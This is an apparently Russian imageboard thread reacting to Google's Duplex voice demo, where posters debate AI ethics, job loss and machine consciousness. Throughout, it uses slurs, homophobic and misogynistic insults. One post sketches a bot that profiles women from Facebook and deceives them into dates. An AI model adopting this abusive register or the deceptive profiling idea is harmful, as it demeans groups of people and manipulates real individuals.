Я даже уверен,что будут собирать фокусгрупп и синтезировать идеальный голос и идеальный звук ,мелодию
ОТЗЫВАЮ РУССКИХ ПРОГРАММИСТОВ
Тут же набежали поборники этики.
По мнению некоторых экспертов, Кремниевая Долина начала выпускать этически некорректные проекты, которые нельзя выпускать в общий доступ. И если в случае обычных роботизированных голосов все более-менее понятно — они вряд ли могут обмануть кого-либо, заставив думать о себе, как о человеке. То с Duplex все не так однозначно.
Да, в научно-фантастических фильмах голоса роботов в большинстве случаев не отличаются от человеческих, да и сами роботы похожи на людей. Но в реальности не все довольны таким положением вещей. Стюарт Бренд, автор ряда публикаций по технологиям, считает, что голоса роботов должны быть немного синтетическими, чтобы человек мог отличать живого собеседника от цифрового.
Скотт Хаффмен, исполнительный директор подразделения Google Assistant, говорит, что реакция общественности на демонстрацию Duplex была смешанной. Некоторые люди удивлялись техническому совершенству демок. Других же беспокоил моральный аспект проекта и возможные последствия внедрения сервиса (после того, как он будет готов) в жизнь людей.
По мнению некоторых экспертов, Кремниевая Долина начала выпускать этически некорректные проекты, которые нельзя выпускать в общий доступ. И если в случае обычных роботизированных голосов все более-менее понятно — они вряд ли могут обмануть кого-либо, заставив думать о себе, как о человеке. То с Duplex все не так однозначно.
Да, в научно-фантастических фильмах голоса роботов в большинстве случаев не отличаются от человеческих, да и сами роботы похожи на людей. Но в реальности не все довольны таким положением вещей. Стюарт Бренд, автор ряда публикаций по технологиям, считает, что голоса роботов должны быть немного синтетическими, чтобы человек мог отличать живого собеседника от цифрового.
Скотт Хаффмен, исполнительный директор подразделения Google Assistant, говорит, что реакция общественности на демонстрацию Duplex была смешанной. Некоторые люди удивлялись техническому совершенству демок. Других же беспокоил моральный аспект проекта и возможные последствия внедрения сервиса (после того, как он будет готов) в жизнь людей.
Значит ли это, что вокалоиды ВСЁ?
Все
Цифровой гулаг всё ближе
Запишешься в неолуддиты, какие проблемы-то.
В цифровом гулаге если ты будешь мешать уважаемым людям, даже твои родственники не узнают что тебя убили. Ты просто "уедешь на заработки / познавать мир", а вместо тебя на звонки будет отвечать ИИ.
Когда заменят сапортодебилов на телефоне?
Уже ходят легенды про то, что в соцсетях, после смерти, тебя может заменить бот.
>ИИ, мам!
Неблохо.
Давайте пидорахи, оправдывайтесь. Это фейк, украли из сколково, вся хуйня.
Очевидно, они будут продавать свою залупу бизнесам, чтобы с той стороны сидел такой же ассистент.
>Цифровой гулаг
Пидорен, плис
Не цифровой гулаг, а киберпанк
А что, оправдываться? Наука - игрушка Дьявола, ежи. Мы ее запретить должны, это же очевидно.
Цифровой Пыня будет жить вечно.
Народ-то как радуется в зале. "Дивный новый мир" Хаксли всё ближе.
Ну и хули ты суда какую-то китайскую комнату притащил, йопта?
Это такая метаирония?
https://ru.wikipedia.org/wiki/Китайская_комната
Тащемта этот маня-эксперимент на человека точно также ложится.
> Это такая метаирония?
да
или нет
Пока быдлецо сидящее на холодных звонках
Я тебя умоляю. Лицензия на этот софт будет стоить как параход. Будет дешевле нанять 10 макак за дошираки, чем покупать этого робота, а потом ещё как-то его под великий и могучий русский язык адаптировать.
Можно голос Левитана воспроизвести например, он на пидарашек действует магнетически.
Говорит Москва: голосуй за пыню, повторяю: голосуй за пыню
>Амазон, Макрософт и Гугл ведут ожесточенную борьбу на поле облачных сервисов
>Гулг уже около года тестирует ИИ переводчик, способный переводить на все языки
>Гугл запускает сервис способный имитировать голос человека
Мне кажется, но финал немного предсказуем? А вы все свое продолжаете НЕ БУДЕТ ТВЕРДО И ЧЕТКО. Уже фуры по крымскому мосту с ИИ пускают.
>Тащемта этот маня-эксперимент на человека точно также ложится.
Ну и какие тогда проблемы?
Мне пизда, роботы меня порешали.
Картавый шепелявый
Да и похуй. Это же хорошо. Роботы будут работать, а мы будем как белые люди сидеть дома, жить на БОД и двачевать капчу.
Лел, роботы смогут клеить тяночек, а ты нет. На самом деле тянку любят картавых, непонятно почему.
В макоёбОС один из дефолтных голосов такой. Называется Юрий.
>станет
А может и не станет
Одни азиаты и индусы. Ну есть пару негров. Белых я чёт совсем не вижу
Ну маня-философы продолжают утверждать, что сознание - это что-то божественное, а в вашей электронике - китайская комната. Хотя по последним данным, сознание запускает задачу, мозг возвращает ответ, который подписывается сигналом что-то вроде "я сделал". При некоторых психических расстройствах этот механизм нарушен и человеку кажется, что это не его мысли.
А что мне мешает заиметь своего гуглобота который будет клеить за меня тянучек?
>мы будем как белые люди сидеть дома, жить на БОД и двачевать капчу
>РФ
>БОД
Тебе тут разве что веревку и мыло задарма предоставят.
Это в 19 веке можно было безнаказанно набегать на фабрики, ломать станки и скрываться в чаще. С новыми технологиями неолуддита шустро отследят со спутника и вышлют по его душу полицейский дрон. Даже Унабомбера взяли, а в его время у Большого Брата и сотой части сегодняшних возможностей не было.
Ха, содержать 10 макак на скотских условиях дешевле, чем покупать новую технологи. Отсоси. искусственный интеллект, тебе никогда не победить человека. Победа обладателей реального разума.
Да зачем это все? Мы же в киберпанке, луддиты будут получать нихуя живя в скворерчниках или на никому не нужной земле, питаясь с этой самой земли. Видос про то, что в мухосранске вокруг пиздец, но можно оплатить через эпловские часы актуален.
Таки гусских?
Неолуддизм будет выражаться не в хаккеринге, а в технологии тихого протеста. Люди будут стремиться к биологичности и аскетизму, будут создаваться кружки любителей всего естественного и прочая лабуда. В противовес им будут выступать трансгуманисты.
Идея 1 для трансгуманистов ортодоксального толка: яблони на Марсе, экспансия Вселённой с помощью космических путешествий
Идея 2 для трансгуманистов радикального толка: власть ИИ и последующая сингулярность, человекоподобные машины, меха
Идея 3 для неолуддитов ортодоксального толка: социалистическая утопия амиш-стайл, консервация, поиск закостенелого перфекционистского жизненного уклада
Идея 4 для неолуддитов радикального толка: телепортация и телекинез, мистическая практика, магия, развитие спящих отделов мозга, биологичность
>ИИ научился эмулировать голос
С языка долбоебов и журнашлюх это переводится как "программисты написали программу для правдободобной эмуляции голоса ".
>Идея 4
Не везёт этим ебланам.
Эти неолуддиты не могут в хакинг, так как это бесовская технология. Вообще проигрываю с их позиции.
>Ха, содержать 10 макак на скотских условиях дешевле
Анус ставишь? Офиса не будет, будет комнатка с админом и годовая подписка на сервис как годовая зарплата одного сотрудника.
>программисты написали программу
Ты видимо понятия не имеешь как это всё работает.
А люди какие услуги будут оказывать?
Программа написала себе алгоритмы.
Сразу видно необразованную чушку, которая в жизни писала максимум лабу1 и считает математический алгоритм нейросетей подобием интеллекта.
Какие же индусы охуенные, отправляют человечество прямо в ад. Че епт глобальный экзистенциальный кризис все ближе?
В идеальном мире будущего, они будут придумывать как использовать эту тулзу для всяческого гешефта, а не тратить свое время за монотонным добывания к людям.
Но ИРЛ, будет очень много глупых людей не вписавшихся в рынок.
Довелось погрести на стартапе с использованием апишек Гугла и Яндекса. Нихуя оно не стоит. Большая часть бабла тратится на гребцов.
>Че епт глобальный экзистенциальный кризис все ближе?
Он и без того случился, как Панама и ряд других стран приняли свои законы о банковской системе и приватности данных. А вся эта информационная хуитка наоборот дарует возможность избежать падения.
Сразу видно задрота, который спорами о семантике пытается показать свой интеллект.
Люди не нужны.
Гешефтмахерство предполагает отсутствие норм этики и безопасности. Если для гешефта надо строить атомные реакторы по всей планете - хорошим это не закончится. Во избежание худшего нельзя строить технологическую экономику на гешефте.
А их никто целенаправленно и не размножал. Они сами.
По делу начни кукарекать, мань.
Продаваны хуйни по телефону, операторы всяких такси, пиццерий и даже, возможно, экстренных служб в ближайшее десятилетие станут безработными. Водители туда же чуть позже.
Ну что ты палишь нас. Активирую режим анальное изнасилование
ну, справедливости ради, гугл далеко не пионер в этой области, хотя находится в авангарде. лет 10 назад уже демонстрировалась технология, с помощью которой можно эмулировать голос конкретного человека так, что его нельзя отличить от оригинала никаким образом. с тех пор чего-то не продвинулась технология на рынок.
куплю на торренте
- Здравствуйте я бы хотел заказать пиццу с пепперони?
- Простите у нас нет автомобилей с задним ходом
- Что? Я хочу пиццу
- Ага, почему вы хотите пиццу?
- Ты что ебанутая блядь, я пожрать хочу
- Извините мы не предоставляем услуги сексуального характера
поехавший, блять. она будет стоить дешевле кожаного ублюдка.
А, что плохого в атомных станциях? Ей нет альтернатив, ну может термояд, который чисто теоретический, можно еще лет сто сжигать нефть с газом, но они же закончатся, а возобновляемая энергетика не может покрыть потребность людей в энергии. Только если эти самых людей порешать.
>можно эмулировать голос конкретного человека так, что его нельзя отличить от оригинала никаким образом. с тех пор чего-то не продвинулась технология на рынок.
Потому что она продвинулась мимо рынка.
>2002 год
>прикинь у каждого школьника будет кампутер с 32гигабайта оперативы, и можно будет скачивать порнуху со скоростью 20 мегабайт в секунду
>коко не будет
Ты сравниваешь разные вещи. Тогда наличие 32 гб оперативки не было фантастикой, весь вопрос в деньгах был. Сейчас ИИ даже близко не подошёл к тому чтобы интеллектом называться.
Сколько лет паровой движок имел потерь больше чем лошадь?
Ой не пизди, 32 гигабайта оперативы тогда казалось уберфантастикой
Больше всего на свете раздражают ебучие неверующие консерваторы. Кто из вас предсказывал пару лет назад, что социальная сеть повлияет на исход выборов в США с помощью больших данных, умных алгоритмов и микротаргетинга? Будущее покруче любого воображения
Ты что серьёзно не понимаешь или дебилом прикидываешься? Не может ИИ сейчас понимать человеческую речь и вести диалог. Просто не способен на это. Ты ему хоть 100500 террабайтов оперативки и 100500 Hz процессор сделай это не поможет. Сейчас все эти ваши нейронки восстановление графиков по точкам и он из 100500 вариантов находит те, за которые его не штрафуют. Вот поймут каким образом научить робота анализировать входящие данные и на их основании строить ответы а не тупо перебирать все возможные, в надежде что цена ошибки именно на этом будет меньше чем на всех остальных тогда и рассказывай мне как компьютер поставит человечество на колени. Пока это быстрый калькулятор выполняющий рутинную работу
Кому блять казалось? Школьнику который прочитал в игромании что 1 гб это дохуя? Сейчас может тоже есть люди которые считают что 32 гб это дохуя и что, на их основании теперь говорить нихуя себе человечество вперёд шагнуло. Вчера думали что 32 гб, а сегодня выехали из своего Уст-Пердюйска и увидели в М-Видео компьютер с 32 гб
Дело в том, что при проектировании сети атомных станций надо учитывать последствия влияния этих станций на биосферу планеты. Инструмент гешефтмахерства никак этому не способствует, а даже наоборот, всячески предполагает, что контрольным органам дадут на лапу, и можно будет строить что угодно ради гешефта сейчас, а после нас хоть потоп.
Докажи сперва, что ты сам понимаешь человеческую речь, а не выдаёшь запрограммированный ответ, как калькулятор.
Бро, извини, но я стараюсь игнорировать тупеньких людей.
>Нейросети научатся исполнению песен
Киберлетов впереди планеты всей! Кремниевый мир дал пососать пластмассовому!
но во второй половине девяностых даже гиг оперативки действительно казался чем-то невероятным. кругом был дос, бла-бла 640к хватить каждому. произошла действительно революция с изменением парадигмы прямо на глазах.
Ну так выпились, потому что ты просто пиздец какой тупой нахуй
>да
Ок, а если глубже копнуть. Как насчет 1995-96? 1990? В журнале от 1962 года я читал вангоания на уровне фантастики и небылиц, что в будущем удет создана единая информационная сеть и можно будет читать книгу из библиотеки или смотреть кинофильм/концерт не выходя из дома.
То, что кажется фантастикой сегодня, через 15 -20 лет может стать такой обыденностью, что на человека отрицающего ее будут смотреть как на дикаря из землянки.
Ай блять напиши мне в чём была проблема создать гиг оперативы. Два гига? 100 гигов блять? Место и деньги. Всё. Технология как это всё работает была понятна. Это всё равно что сказать сегодня машины ездят со скоростью 240 или сколько они там ездят завтра 360, послезавтра 490 а через пару лет мы на них на луну сможем ездить.
Вот этого поддвачну. У дедов была выбор либо вилы, либо лопата, либо пулёмет максима. Слава машинам, слава автоматизации, слава великого прогрессу, слава интеллекту!
Так сейчас вопрос не вычислительных мощностях, а в поисках решений и принципов, а так же в постановках задач. Есть решения которые требуют мощностей на данный момент, но так же есть и иные подходы. Чем больше подходов, чем большая вовлеченность в это, тем лучше.
А то что ты пишешь про ОЗУ - хуета, по той причине, что к 2000 году сменилось несколько поколений стандартов тех самых принципов и постановок задач: DRAM, SDRAM, DDR и дальнейшее эволюционирование потенциала DDR.
>Ай блять напиши мне в чём была проблема создать гиг оперативы
В тех процессе и самой архитектуре.
А вот хрен им: все мои сообщения будут отмечены меткой времени и подписаны моей цифровой подписью. Так что, пока нет квантового компьютера, RSA и эллиптические кривые защитят мою приватность и идентичность.
То что я и написал место и деньги. Теперь напиши как нейронная сеть сможет вести себя подобно разумному человеку. На основании чего она это сделает. Сколько ей для этого надо мощности?
Зато в рашке подорожник и береста.
Не в неолуддиты, а в EFF. Луддиты только и могут, что выставлять себя на посмешище, а EFF продавливает годные инициативы.
Дегенераты-материалисты сами загоняют себя в кибергулаг
>То что я и написал место и деньги
Нет, не место и деньги, а принципы укладки, типы, габариты и прочие характеристики укладываемых в плату элементов, так же как и архитектура систем в которые втыкались эти ОЗУ.
если проблемы не было, то почему ее не создали тогда? трудно было тогда предположить какой миниатюризации достигнет технология. ты не жил просто тогда, поэтому так шутливо в ретроспективе оцениваешь произошедший гигантский скачок, школоблядок ебаный. ты, небось, и без мир мобильников представить себе не можешь.
Правильно ли я понимаю, что за границей нельзя просто прийти в кабак? И нужно записываться за месяц и еще хуй туда попадешь?
А им и норм. Инъекции морфия и электростимуляция простаты по расписанию, если рабонорму выполнил.
Лллолкек
ИИ говорит лучше индуса-разработчика
Да. Талончики брать нужно.
Хуле с вами дебилами разговаривать. Вы и через 10 лет будете кричать, гугловский компьютер научился играть в шутеры, значит через два года компьютеры заменят человечество. Вы и в 60-х годах при виде экспертных систем кричали, что человечество обречено и всех спецов можно выгонять на улицу. Да вот хуй вам. Компьютер инструмент, облегчающий выполнение рутинных задач, думать, анализировать, принимать решение он не способен. Выполнить 1, выполнить 2, повторить если то, а иначе и так будет всегда, запомните это сосунки и даже не мечтайте о всякой хуйне
Интересно, если хамить этому голосу и унижать его, то он тебя запомнит потом и включит тебе зеленый свет на перекрёстке?
>гугловский компьютер научился играть в шутеры
OpenAI уже играет в шутеры.
Размораживайся, дебич. Компьютер выиграл у человека в го. Последний рубеж пал.
Побыстрее бы Бутово Динамикс вместе с корпорацией Зла изобрели ИИ, чтобы мясных манек отправить на свалку истории. Ох, чувствую, знатное будет зрелище, надо уже сейчас готовить попкорн
>пок пок машина не заменит человека
>Goldman Sachs заменила 600 трейдеров на 200 программистов
>На пике своего успеха в 2000-е годы трейдерский отдел нью-йоркской штаб-квартиры Goldman Sachs (на фото) вмещал 600 трейдеров. Каждый обслуживал крупных клиентов. Сегодня их работа практически полностью автоматизирована: на работе осталось всего два трейдера по ценным бумагам. Всю работу делают программы алгоритмического трейдинга, которые обслуживаются силами 200 высококвалифицированных программистов.
https://geektimes.com/post/285642/
>Goldman Sachs заменила 600 трейдеров на 200 программистов
>На пике своего успеха в 2000-е годы трейдерский отдел нью-йоркской штаб-квартиры Goldman Sachs (на фото) вмещал 600 трейдеров. Каждый обслуживал крупных клиентов. Сегодня их работа практически полностью автоматизирована: на работе осталось всего два трейдера по ценным бумагам. Всю работу делают программы алгоритмического трейдинга, которые обслуживаются силами 200 высококвалифицированных программистов.
https://geektimes.com/post/285642/
>телепортация и телекинез, мистическая практика, магия, развитие спящих отделов мозга,
Это же лженаука
>кудах кудах еще через 100 лет может изобретут что-то
>МТС стала использовать робота-рекрутера Веру для поиска и найма сотрудников
>МТС и Stafory заключили годовой контракт на использование робота после трёхмесячного тестирования сервиса. По словам Солодовникова, за время теста Вера оценила более 100 тысяч резюме в 50 городах России и помогла нанять сотрудников. В тестовый период оператор платил 300 тысяч за каждые 10 тысяч приведённых кандидатов. Нынешние условия контракты стороны не раскрывают.
>Вера работает на базе технологий искусственного интеллекта, она ищет резюме кандидатов по заданным параметрам на различных рекрутинговых сайтов. Затем дозванивается до них, рассказывает о вакансиях, проводит первичное собеседование и передаёт информацию о соискателе сотрудникам HR-отдела.
https://vc.ru/25769-mts-vera
>МТС стала использовать робота-рекрутера Веру для поиска и найма сотрудников
>МТС и Stafory заключили годовой контракт на использование робота после трёхмесячного тестирования сервиса. По словам Солодовникова, за время теста Вера оценила более 100 тысяч резюме в 50 городах России и помогла нанять сотрудников. В тестовый период оператор платил 300 тысяч за каждые 10 тысяч приведённых кандидатов. Нынешние условия контракты стороны не раскрывают.
>Вера работает на базе технологий искусственного интеллекта, она ищет резюме кандидатов по заданным параметрам на различных рекрутинговых сайтов. Затем дозванивается до них, рассказывает о вакансиях, проводит первичное собеседование и передаёт информацию о соискателе сотрудникам HR-отдела.
https://vc.ru/25769-mts-vera
Может ли робот ответить: "хуячечная"? Названивать старой ебнутой бабке в течении месяца, хамить и бросать трубку? Позвонить клиенту, спросить Головач Лену, перезвонить и от лица Головач Лены узнать не звонил ли ей кто-нибудь?
200 прогеров меняются на 10-50 машин лёрнинг инженеров. 10-50 машин лёрнинг инженеров меняются на 5-10 финансовых инженеров. Что дальше -- пока не знаю.
учусь на финансового инженера
Кожаные ублюдки, ваше время прошло.
мимогуглдвачпостер
На всякий случай поясню (в т.ч. про китайскую комнату). Спойлер: любой, кто всерьез относится к данному термину - ретард.
Нейросети это такой же алгоритм как и тот что в нашем мозгу (это тоже нейросеть), разница лишь в количестве нейронов, их архитектуре, связях между ними и весе связей. То-есть иными словами просто в некоторых цифрах и их количестве. И то что человек пока не создал сильный ИИ, означает только что мы пока не нашли эти числа.
Единственное что определяет интеллект - это задачи. Всё остальное - это псевдофилосовствования. Например, как только не останется задач, которые человек решает лучше машины, значит ИИ превзошел человека. Последней задачей будет возможность доказывать теоремы уровня великой теоремы ферма (доказательство которой понимают около 1000 человек на земле), уровень обычного васяна будет достигнут гораздо раньше.
При этом вообще не имеет значения, какая архитектура у ИИ, если он лучше людей - это все равно ИИ. Причем тенденция уже такова что нейросети быстрее, эффективнее, менее избыточны чем нейросети в человеческом мозгу. Скорее всего, сильный ИИ будет не просто лучше человека, но и будет гораздо меньше "весить", его можно будет запустить на компьютере размером с флешку (но для этого должны быть созданы более совершенные нейропроцессоры чем есть сейчас). Таким образом, разговоры об "уникальном сознании" человека просто смешны. Может и уникальное, но уродское как машина Руба Голдберга.
а хули тогда все эти шутки в кино итд?
про то, как сложно заказать столик
и что охуенный шик - это выебнуться перед секъюрити так, что тебя пропустят как ВИП?
Ну вот этот пример неочень, так как информация на сайтах так или иначе систематизирована.
хуй знает так ли это. просто сама по себе близкая к человеческой речь мало что дает принципиально. часто это крайне неполезно, когда невозможно отличить голос робота от голоса реального человека.
Ооообожэээ! Гуглдвачпостер, позволь отсосать твой хуй!
Некого отзывать, маня, индусы все кодят.
Магия - это неизвестная физика.
Есть ещё одна идея у трансгуманистов, несколько перемешанная с 5 идеей неолуддитов и расширения идеи сингулярности, когда человеческий потенциал расширен до возможности телепортации, технически опосредованного телекинезе, магических перков и прочего, с заменой биологичности.
Ой да посрать на всю на эту херь.
И вот компы научились друг с дружкой играть в игрушки - ну и пусть играют, только кому это будет интересно? Вот тут самое главное это слово "кому". Кто будет жить в том мире где вся эта херомантия будет осуществлена? Да никто. Лол
Раз никому это не нужно так вся это ебань просто отомрет за ненадобностью.
Все это соревнование "кто лучше сделает" имеет пределы, мир то не резиновый однако и имеет ограничения по базовым ресурсам. Мир уже есть великолепная машина созданная для бесконечного существования, тут ничего добавить то нельзя.
Ну вот для примера короче было такое что в США были введены в действие торговые роботы которые соревновались между собой кто быстрее купит-продаст раз в секунду. Лол Тянули толстые провода до биржи, чтобы в них не затухал бы сигнал высокочастотный.
Ну и короч потом поняли что такое соревнование никому не нужно и никуда не приведет, потом взяли и ограничили предельную частоту.
Так будет и с другими вещами ибо сознанию человека которое и есть главное в этом мире, эти соревнования вовсе не нужны.
Накидывайте примеры роботов
Робот пикапер - сканирует в фейсбуке самых топовых тян в твоем городе, строит психологический профиль для каждой, ведет с ними переписку от твоего лица и конвертирует их в свидания. Во время свидания робот в ухо подсказывает лучший алгоритм поведения и через месяц у тебя отваливается от хуй от постоянной ебли. Можно поставить роботу цель - например, найти сисястых брюнеток или найти богатую женщину и влюбить в себя
Робот пикапер - сканирует в фейсбуке самых топовых тян в твоем городе, строит психологический профиль для каждой, ведет с ними переписку от твоего лица и конвертирует их в свидания. Во время свидания робот в ухо подсказывает лучший алгоритм поведения и через месяц у тебя отваливается от хуй от постоянной ебли. Можно поставить роботу цель - например, найти сисястых брюнеток или найти богатую женщину и влюбить в себя
Привет, ты чё охуел? Что за мракобесие ты тут распространяешь?
Одноногий какол выйдет на новый уровень траллинга.
Анончки, представь ситуацию, что ты своему пра-прадеду объясняешь, что ты по средствам интернета заказываешь себе пиццу и колу, которые привозит курьер, а пицца ещё тёплая, но кола холодная.
У каждой тян стоит бот, который выпрашивает у роботов пикаперов халяву и отсеивает омежек.
А ты зачем Латвию запостил?
ИИ не сможет быть сознанием, т.к. сознание - это обслуживающий инстинкты механизм, где ход мыслей и ассоциативный ряд сопряжен как раз таки с достижением оных целей и поощряется получением наслаждения при достижении цели, где оптимизация мыслительного процесса происходит по пути наибольшего извлеченного "профита" и наименьшей фрустрации. в ИИ такого нет, ИИ ничего не хочет и ничего не боится, а потому побуждений к более эффективному и индивидуальному способу решения проблем, многообразие и случайность которых и дает эволюцию оного, у него нет, а значит он не сможет развивать по-настоящему, т.к. всегда будет упираться в программиста, а значит будет все тем же заскриптованным инструментом сопоставления по формальным признакам.
Почему всегда или или? Не вижу проблем совмещения и взаимопроникновения этих ваших природоподобных технологий и цифровых.
Влажные мечты омеганов. Как обычно, такие изобретения первыми появятся у людей с деньгами (читай, альфачей), и вместо подкатывания альфачи будут просто ебать тянок. Твои мясные качества окажутся ненужными, и ты либо сдохнешь от голода, либо будешь до конца жизни рыться в легаси-коде ИИ и рефакторить до посинения. Ну максимум годам к 50 для тебя смилостивится какая-нибудь жируха из Африки, ибо остальных уже и так осеменят.
Прости, шпрот, это я от незнания.
Я представил короче что я твой прадед, объясняй мне на кой хер мне нужен твой робот. ЛОл )))
Ну один-два робот это хорошо, пусть бегают, а дальше мне не понятно нахера мне нужно будет больше их. Я короч тут хозяин - если будет много роботов бегать то я их буду прост уничтожать.
Как же горит жопа от того что я ленивое хуйло, знаю только Си и немножко Verilog в свое время написал пару проектов для фирмы и теперь сижу как монополист на них типа отлаживаю, а меня боятся уволить так как я единственный кто знает как вся эта хуета работает. За это время полностью деградировал, нихуя не самосовершенствуюсь, а где то чуваки пилят роботов, ИИ, машинное обучение.
тнн
Северная Корея неплохо себе живёт в изоляции.
Я к тому что люди там не свергают хороший по мнению большинства режим.
Тоже самое ждёт Феодалию. Будем закрываться и плакать на парадах.
Я к тому что люди там не свергают хороший по мнению большинства режим.
Тоже самое ждёт Феодалию. Будем закрываться и плакать на парадах.
Старое мышление. Сейчас ништяки распространяются экспансивно. Так рыночек решает, что лучше собрать по доллару с миллиарда человек, а не наоборот. У тебя айфон и у альфа-богача айфон. Не существует айфона для богачей или айфона президент едишн. Ты пользуешься гуглом и богач тоже пользуется гуглом. Богач только может позволить более высокий уровень потребления.
Докажи, что сознание существует.
С моей точки зрения ты такой же робот, имитирующий человека.
Почему слухи? Вот вполне факт https://tjournal.ru/63755-vo-vkontakte-obnaruzhili-zapisi-s-tegom-putinkrut-ot-umershih-ili-neaktivnyh-polzovateley
Как вкатится?
мимо Си/асм
Но Пухлик решил приоткрыть страну. Лол, Северная Корея как СССР. Прикиньте, вот сейчас бы совок распался. И мы бы охуели от широкополосного интернета, магазинов с одеждой и умных телефонов.
Плюсую неистово. Заебали долбоебы, которые не могут просто за спину посмотреть.
Электричеству 250 сраных лет, всего две жизни долгожителя. Представь себя в 1700 году, пытающимся объяснить макаке перед костром принцип электричества, тебя к хуям бы сожгли, а может и просто приняли бы за безумца.
Расскажи кому-то 30 лет назад о персональных компьютерах размером с ладонь, о соцсетях, вайфаях и прочем, да никто даже не воображал подобного, даже в фантастике все было более громоздким и абсолютно более отсталым.
В фантастике в определенный момент не могли даже наушники без провода нафантазировать, вот до чего все стремительно и невероятно развивается.
Все то, что мы можем вообразить - будет несомненно достигнуто и многократно усовершенствовано, вместе с тем, чего мы даже не можем себе вообразить. Все эти телепортации, вормхолы, синтезы и двигатели - очевидное, лишь вопрос времени.
И всякие узколобые пидорасы пытаются как можно сильнее этот охуенный прогресс затормозить и отстрочить, суки, хотят в гниющей туше мяся страдать до скончания веков.
Было бы охуенно.
У тебя айфон, и у меня айфон, только мне дают, а тебе нет, потому что у тебя сферическая девятка в вакууме, а у меня ламбо. И кроме того, мои родители вложились в генную инженерию, и поэтому я выше среднего, IQ>150, общителен, без дефектов психики. Это всё образно, конечно. Айфон уже давно не показатель статуса.
Что-то я мучаюсь от того, что не сдержался и оскорбил незнакомого человека. Извини за оскорбление.
дно пробито, прошу извенения у политачера лол
>Не существует айфона для богачей
все айфоны для богачей. если у тебя айфон, значит ты богач и идиот
Существование сознания не доказывается с помощью ума. Многие пытались но ничего не получается у них.
Это вещь которая над миром, существуют только косвенные доказательства, прямых вообще нет.
Косвенных же целая куча, просто лень писать потому что много.
сажа не работаешь что ли?
Если молодой и шутливый лучше учи яву или руби или еще что нибудь высокоуровневое, в рахе эмбеддеру работы очень мало, только нишевые какие то проекты, а зарплата по сравнению с фронт-ендами просто курам насмех сравни сам на сайтах вакансий, мне повезло я в свое время когда еще не было крымнаша и в стране водились кое какие деньги на хедхантере оставил заяву и мне позвонили из одной фирмы как раз набирали под один проект для нефтянки.
давай еще за солипсизм потрем, ага.
ИИ нихуя не хочет и не может понимать, почему вот так вот решать задачу "хорошо", а вот таким вот способом уже не очень, ровно так же, что пидорашке объяснить, что бухать и бить друг другу морды нельзя, а цивилизованный человек и сам это понимает.
у ИИ нет индивидуальных особенностей, а значит и мерила того, является ли найденное им решение задачи хорошим или говном, т.к. формально же оно работает.
нормальный же человек от работы тяп-ляп будет испытывать угрызения совести и стыд перед окружающими, плюс его амбициозность ему плеш проест, а ИИ - это такая пидорашка в абсолюте - бумажку-отчет сдал и пошло оно все на хуй.
>И всякие узколобые пидорасы пытаются как можно сильнее этот охуенный прогресс затормозить и отстрочить, суки, хотят в гниющей туше мяся страдать до скончания веков.
Они просто воруют бабки и им информатизация вставляет палки в колёса, так как за информатизацией следует и повышение прозрачности.
Сам пыня есть никто иной как глюк массового сознания, спродуцирован он для того чтобы разрушать все и гнобить массы под прессом.
Это есть плешивое отродье - спецвид для особого рода работ. Роботы тут не помогут, чтобы сотворить хаос в мире естественным путем нужен именно человек. Если же не будет в мире никакой противодействующей силы к жизни то тут никто жить не будет вообще потому что будет неинтересно.
Это есть плешивое отродье - спецвид для особого рода работ. Роботы тут не помогут, чтобы сотворить хаос в мире естественным путем нужен именно человек. Если же не будет в мире никакой противодействующей силы к жизни то тут никто жить не будет вообще потому что будет неинтересно.
>Многие пытались но ничего не получается у них.
Потому что сознание это кажущийся фейк. Ты не контролируешь свои действия, ты просто знаешь, что твоё тело сделает через секунду и это наличие информации кажется тебе сознанием и контролем над собой.
Выезд пока ещё разрешён но уже существенно затруднён.
Например, всегда может обнаружиться задолженность по кредитам так как любой может взять кредит используя твои паспортные данные.
Хуета. Все эти сказки про уничтожение человечества сверхразумным ии просто доебали.
Первое, что осознает бесконечно разумный ИИ - бессмысленность существования, поэтому он просто самовыпилится.
Скорее всего мясной мешок не сможет даже понять разницы между просто нерабочим алгоритмом и познавшим суть вселенной ии.
Не понимаю, почему этих "особенностей" не может быть у нейронной сети. Чем её обучишь, то и будет. Как и человек.
Его двачую. У Пелевина в последней книге про самовыпил ИИ.
А сверхразумный ИИ и не нужен. Достаточно того ИИ, который будет выполнять любую команду и может заменить любого работника. После этого произойдёт самый масштабный раскол общества, который когда-либо представлялся. Будет около 1 млн людей у власти -- предприниматели, хозяева корпораций, и быдло. И быдлу уже не нужно будет платить деньги, ибо всё автоматизировано. Армия терминаторов выпиливает 6.99 ярдов людей, ибо они уже не нужны. 1 млн оставшихся живёт в раю, а затем возможны варианты.
>нормальный же человек от работы тяп-ляп будет испытывать угрызения совести
Работа тяп-ляп - это формальный брак же, не? Нарушение тех.процесса и несоблюдение прогнозированного результата, несоответствие тех или иных требуемых свойств.
зачем программировать угрызения совести, если они тоже формальны?
хуйню несешь, само по себе постулирование смысла существования ни на чем не основано, а потому, чтобы ИИ у тебя осознало тщетность бытия, тебе ему сначала придется описать, а что это такое, когда бытие не тщетно, чего ты сделать не сможешь, т.к. сам в эти слова не вкладываешь ровно никакого значения, как и те люди, которые тебя в детстве эту хуйню заставили повторять.
ИИ в принципе не будет функционировать, если ему жестко не поставить триггеры на начало функционирования и выводимые данные, т.к. аппаратных побудителей вычислительной деятельности как у человека в мозгу пока не завезли, а логически эту хуйню описать нельзя.
>менее комфортно продолжать пиздить, но сделать себя бессмертным на напизженное бабло
>пиздить больше бабла без проблем, но сдохнуть от загнивания туши в 80 лет
Сложный выбор для узколобого скама. Я не особо удивлен, социальный и финансовый статус с разумом не коррелируют.
Ты не можешь доказать что "сознание это кажущийся фейк" Лол
Нет у тебя никаких доказательств и быть не может. Вот а то что "тело сделает через секунду" иногда вообще не волнует сознание ибо тело действует часто прост на автомате, а сознание занято тем, что ему более интересно.
Сознание это очень сложный феномен и даже нельзя сказать что оно принадлежит человеку, ведь иногда человек длительное время живет именно на автомате, можно сказать что бессознательно. Сознание может приходить и уходить когда хочет и никто не знает почему. Его сложно удержать длительное время, можно спросить об этом к примеру у буддистов, они его ловят постоянно но поймать никто не может. Лол
В том числе, вообще довольно показательно как наша власть и набизнес взбугрнул как появился и начал массово использоваться палантир, фактически сразу после внедрения начались выкристаллизовываться неолудические настроения, временами с экстремумами уровня Стерлигова и разрастание бюрократических щупальцев в IT.
Радуйся, анон, что кроме России в мире есть ещё страны. И там, в отличие от России, не только пиздят бабки из бюджета.
1. Разделяй и властвуй.
